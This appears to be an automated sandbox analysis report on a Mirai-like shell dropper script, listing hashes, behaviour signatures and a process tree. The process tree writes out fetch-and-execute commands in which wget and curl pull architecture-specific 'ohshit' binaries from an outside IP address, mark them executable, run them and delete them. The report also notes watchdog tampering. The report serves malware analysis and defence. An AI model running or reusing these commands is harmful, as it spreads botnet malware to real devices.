Analysis
- max time kernel
139s - max time network
146s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
05/07/2026, 12:51
Static task
static1
Behavioral task
behavioral1
Sample
5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
Resource
debian9-mipsel-20260513-en
General
- Target 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh
- Size 4KB
- Sample260705-p3qv3acv9z
- SHA256 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b
- MD5 f3e6cddc50b258c52641a7eb93544cb8
- SHA1 1dc8d2dec9dd1f024239bae74e0c59a373449cf0
- SHA512 2bfe52578ae634f149b4d8b2469092987beafc0d92aab9d8b68903a650286555acf952fc06a27967a9c626a93ab170a3647cbaa1ab27106ac67b2bc511df2d5d
- SSDEEP 48:dxF7kFxzFkQxpzkLxfsc9suh/kQJx7Zkax19kPxVvkRxZHAavHAqBBkeaSx9pk4u:tA9Ysc9suhTXXYka8YVVddESdXpt
- TLSH T1F3A190F5B421E134B85DAA7B34F86181548BA8BB8D923D2475C93CE3204EF59B0D97B3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 821 chmod 833 chmod 729 chmod 771 chmod 777 chmod 795 chmod 800 chmod 827 chmod 840 chmod 672 chmod 705 chmod 765 chmod 783 chmod 807 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/ohshit.x86 673 5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog ohshit.arm File opened for modification /dev/misc/watchdog ohshit.arm File opened for modification /dev/watchdog ohshit.arm7 File opened for modification /dev/misc/watchdog ohshit.arm7 - Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /sbin/watchdog ohshit.arm7 File opened for modification /bin/watchdog ohshit.arm7 File opened for modification /sbin/watchdog ohshit.arm File opened for modification /bin/watchdog ohshit.arm - Checks CPU configuration 1 TTPs 14 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/635/status ohshit.arm File opened for reading /proc/810/status ohshit.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/297/cmdline ohshit.arm File opened for reading /proc/1/status ohshit.arm File opened for reading /proc/320/status ohshit.arm File opened for reading /proc/300/cmdline ohshit.arm7 File opened for reading /proc/13/status ohshit.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/326/cmdline ohshit.arm File opened for reading /proc/313/status ohshit.arm File opened for reading /proc/640/status ohshit.arm File opened for reading /proc/166/cmdline ohshit.arm7 File opened for reading /proc/107/status ohshit.arm7 File opened for reading /proc/294/status ohshit.arm7 File opened for reading /proc/313/status ohshit.arm7 File opened for reading /proc/641/status ohshit.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/286/cmdline ohshit.arm File opened for reading /proc/577/cmdline ohshit.arm File opened for reading /proc/107/status ohshit.arm File opened for reading /proc/216/status ohshit.arm File opened for reading /proc/300/status ohshit.arm File opened for reading /proc/583/status ohshit.arm File opened for reading /proc/7/status ohshit.arm7 File opened for reading /proc/149/status ohshit.arm7 File opened for reading /proc/659/status ohshit.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/326/cmdline ohshit.arm7 File opened for reading /proc/564/cmdline ohshit.arm7 File opened for reading /proc/630/cmdline ohshit.arm7 File opened for reading /proc/97/status ohshit.arm7 File opened for reading /proc/564/status ohshit.arm7 File opened for reading /proc/583/status ohshit.arm7 File opened for reading /proc/642/status ohshit.arm7 File opened for reading /proc/812/status ohshit.arm7 File opened for reading /proc/6/status ohshit.arm File opened for reading /proc/104/status ohshit.arm File opened for reading /proc/158/status ohshit.arm File opened for reading /proc/787/status ohshit.arm File opened for reading /proc/579/cmdline ohshit.arm7 File opened for reading /proc/10/status ohshit.arm7 File opened for reading /proc/17/status ohshit.arm7 File opened for reading /proc/156/status ohshit.arm7 File opened for reading /proc/28/status ohshit.arm File opened for reading /proc/294/status ohshit.arm File opened for reading /proc/279/cmdline ohshit.arm7 File opened for reading /proc/584/cmdline ohshit.arm7 File opened for reading /proc/297/status ohshit.arm7 File opened for reading /proc/786/status ohshit.arm7 File opened for reading /proc/4/status ohshit.arm File opened for reading /proc/5/status ohshit.arm File opened for reading /proc/12/status ohshit.arm File opened for reading /proc/784/status ohshit.arm File opened for reading /proc/294/cmdline ohshit.arm7 File opened for reading /proc/5/status ohshit.arm7 File opened for reading /proc/21/status ohshit.arm7 File opened for reading /proc/22/status ohshit.arm7 File opened for reading /proc/279/status ohshit.arm File opened for reading /proc/326/status ohshit.arm File opened for reading /proc/self/auxv curl File opened for reading /proc/286/status ohshit.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 676 wget 681 curl 707 ohshit.mips 709 rm - Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ohshit.i686 wget File opened for modification /tmp/ohshit.ppc curl File opened for modification /tmp/ohshit.spc curl File opened for modification /tmp/ohshit.x86 curl File opened for modification /tmp/ohshit.x86_64 wget File opened for modification /tmp/ohshit.arm5 wget File opened for modification /tmp/ohshit.arm5 curl File opened for modification /tmp/ohshit.arm6 curl File opened for modification /tmp/ohshit.arm7 curl File opened for modification /tmp/ohshit.ppc wget File opened for modification /tmp/ohshit.arc curl File opened for modification /tmp/ohshit.i686 curl File opened for modification /tmp/ohshit.x86_64 curl File opened for modification /tmp/ohshit.mpsl wget File opened for modification /tmp/ohshit.arm wget File opened for modification /tmp/ohshit.arm6 wget File opened for modification /tmp/ohshit.spc wget File opened for modification /tmp/ohshit.sh4 curl File opened for modification /tmp/ohshit.x86 wget File opened for modification /tmp/ohshit.mips wget File opened for modification /tmp/ohshit.mpsl curl File opened for modification /tmp/ohshit.arm curl File opened for modification /tmp/ohshit.arm7 wget File opened for modification /tmp/ohshit.m68k wget File opened for modification /tmp/ohshit.m68k curl File opened for modification /tmp/ohshit.sh4 wget File opened for modification /tmp/ohshit.mips curl File opened for modification /tmp/ohshit.arc wget
Processes
-
/tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh/tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh1⤵
- Executes dropped EXE
PID:642 -
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x862⤵
- Writes file to tmp directory
PID:644
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.x86 http://192.142.28.77/bachekuni/ohshit.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:670
-
-
/bin/chmodchmod +x ohshit.x862⤵
- File and Directory Permissions Modification
PID:672
-
-
/tmp/ohshit.x86./ohshit.x86 Minor2⤵PID:673
-
-
/bin/rmrm -f ohshit.x862⤵PID:675
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:676
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:681
-
-
/bin/chmodchmod +x ohshit.mips2⤵
- File and Directory Permissions Modification
PID:705
-
-
/tmp/ohshit.mips./ohshit.mips Minor2⤵
- System Network Configuration Discovery
PID:707
-
-
/bin/rmrm -f ohshit.mips2⤵
- System Network Configuration Discovery
PID:709
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc2⤵
- Writes file to tmp directory
PID:711
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arc http://192.142.28.77/bachekuni/ohshit.arc2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:728
-
-
/bin/chmodchmod +x ohshit.arc2⤵
- File and Directory Permissions Modification
PID:729
-
-
/tmp/ohshit.arc./ohshit.arc Minor2⤵PID:730
-
-
/bin/rmrm -f ohshit.arc2⤵PID:732
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i6862⤵
- Writes file to tmp directory
PID:733
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.i686 http://192.142.28.77/bachekuni/ohshit.i6862⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:750
-
-
/bin/chmodchmod +x ohshit.i6862⤵
- File and Directory Permissions Modification
PID:765
-
-
/tmp/ohshit.i686./ohshit.i686 Minor2⤵PID:766
-
-
/bin/rmrm -f ohshit.i6862⤵PID:768
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_642⤵
- Writes file to tmp directory
PID:769
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://192.142.28.77/bachekuni/ohshit.x86_642⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:770
-
-
/bin/chmodchmod +x ohshit.x86_642⤵
- File and Directory Permissions Modification
PID:771
-
-
/tmp/ohshit.x86_64./ohshit.x86_64 Minor2⤵PID:772
-
-
/bin/rmrm -f ohshit.x86_642⤵PID:774
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl2⤵
- Writes file to tmp directory
PID:775
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.mpsl http://192.142.28.77/bachekuni/ohshit.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:776
-
-
/bin/chmodchmod +x ohshit.mpsl2⤵
- File and Directory Permissions Modification
PID:777
-
-
/tmp/ohshit.mpsl./ohshit.mpsl Minor2⤵PID:778
-
-
/bin/rmrm -f ohshit.mpsl2⤵PID:780
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm2⤵
- Writes file to tmp directory
PID:781
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arm http://192.142.28.77/bachekuni/ohshit.arm2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:782
-
-
/bin/chmodchmod +x ohshit.arm2⤵
- File and Directory Permissions Modification
PID:783
-
-
/tmp/ohshit.arm./ohshit.arm Minor2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:784
-
-
/bin/rmrm -f ohshit.arm2⤵PID:791
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm52⤵
- Writes file to tmp directory
PID:793
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arm5 http://192.142.28.77/bachekuni/ohshit.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:794
-
-
/bin/chmodchmod +x ohshit.arm52⤵
- File and Directory Permissions Modification
PID:795
-
-
/tmp/ohshit.arm5./ohshit.arm5 Minor2⤵PID:796
-
-
/bin/rmrm -f ohshit.arm52⤵PID:797
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm62⤵
- Writes file to tmp directory
PID:798
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arm6 http://192.142.28.77/bachekuni/ohshit.arm62⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:799
-
-
/bin/chmodchmod +x ohshit.arm62⤵
- File and Directory Permissions Modification
PID:800
-
-
/tmp/ohshit.arm6./ohshit.arm6 Minor2⤵PID:801
-
-
/bin/rmrm -f ohshit.arm62⤵PID:802
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm72⤵
- Writes file to tmp directory
PID:803
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.arm7 http://192.142.28.77/bachekuni/ohshit.arm72⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:805
-
-
/bin/chmodchmod +x ohshit.arm72⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/ohshit.arm7./ohshit.arm7 Minor2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:808
-
-
/bin/rmrm -f ohshit.arm72⤵PID:815
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc2⤵
- Writes file to tmp directory
PID:817
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.ppc http://192.142.28.77/bachekuni/ohshit.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:818
-
-
/bin/chmodchmod +x ohshit.ppc2⤵
- File and Directory Permissions Modification
PID:821
-
-
/tmp/ohshit.ppc./ohshit.ppc Minor2⤵PID:822
-
-
/bin/rmrm -f ohshit.ppc2⤵PID:824
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc2⤵
- Writes file to tmp directory
PID:825
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.spc http://192.142.28.77/bachekuni/ohshit.spc2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:826
-
-
/bin/chmodchmod +x ohshit.spc2⤵
- File and Directory Permissions Modification
PID:827
-
-
/tmp/ohshit.spc./ohshit.spc Minor2⤵PID:828
-
-
/bin/rmrm -f ohshit.spc2⤵PID:830
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k2⤵
- Writes file to tmp directory
PID:831
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.m68k http://192.142.28.77/bachekuni/ohshit.m68k2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:832
-
-
/bin/chmodchmod +x ohshit.m68k2⤵
- File and Directory Permissions Modification
PID:833
-
-
/tmp/ohshit.m68k./ohshit.m68k Minor2⤵PID:834
-
-
/bin/rmrm -f ohshit.m68k2⤵PID:837
-
-
/usr/bin/wgetwget -q "--tries=3" "--timeout=10" -O ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh42⤵
- Writes file to tmp directory
PID:838
-
-
/usr/bin/curlcurl -fsSL --connect-timeout 10 -o ohshit.sh4 http://192.142.28.77/bachekuni/ohshit.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:839
-
-
/bin/chmodchmod +x ohshit.sh42⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/ohshit.sh4./ohshit.sh4 Minor2⤵PID:841
-
-
/bin/rmrm -f ohshit.sh42⤵PID:843
-
-
/bin/rmrm -f /tmp/5a418f06f66325692b48c1641a04de520c6030c04d7978ce2cb2f5d453e02f1b.sh2⤵PID:844
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/ohshit.x86
- Size 121KB
- SHA256 3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a
- MD5 59b98f52977620c5e3356981226afc7a
- SHA1 95940e97688109bec4bb27124828abff8272119a
- SHA512 dbf44d491da3af06e5df39e1187f0ff7ed47560c4aea16eac0a1389ce45985f47a1dfccefc9741ebceaef51aeda9ddf9af76d92362dd7b76a87397bc444d7d06
- SSDEEP 3072:P43/Qco2DWxDoB7SFM2L3GeCxDYKDen621IS:P4vDDWtoB7iNLQle/IS
- TLSH T111C329C6E347C0FAE81508F1216BB73299B7C13F542BDA93EB654D61BD529828036BDC
- MD5 SHA1 SHA512 SSDEEP TLSH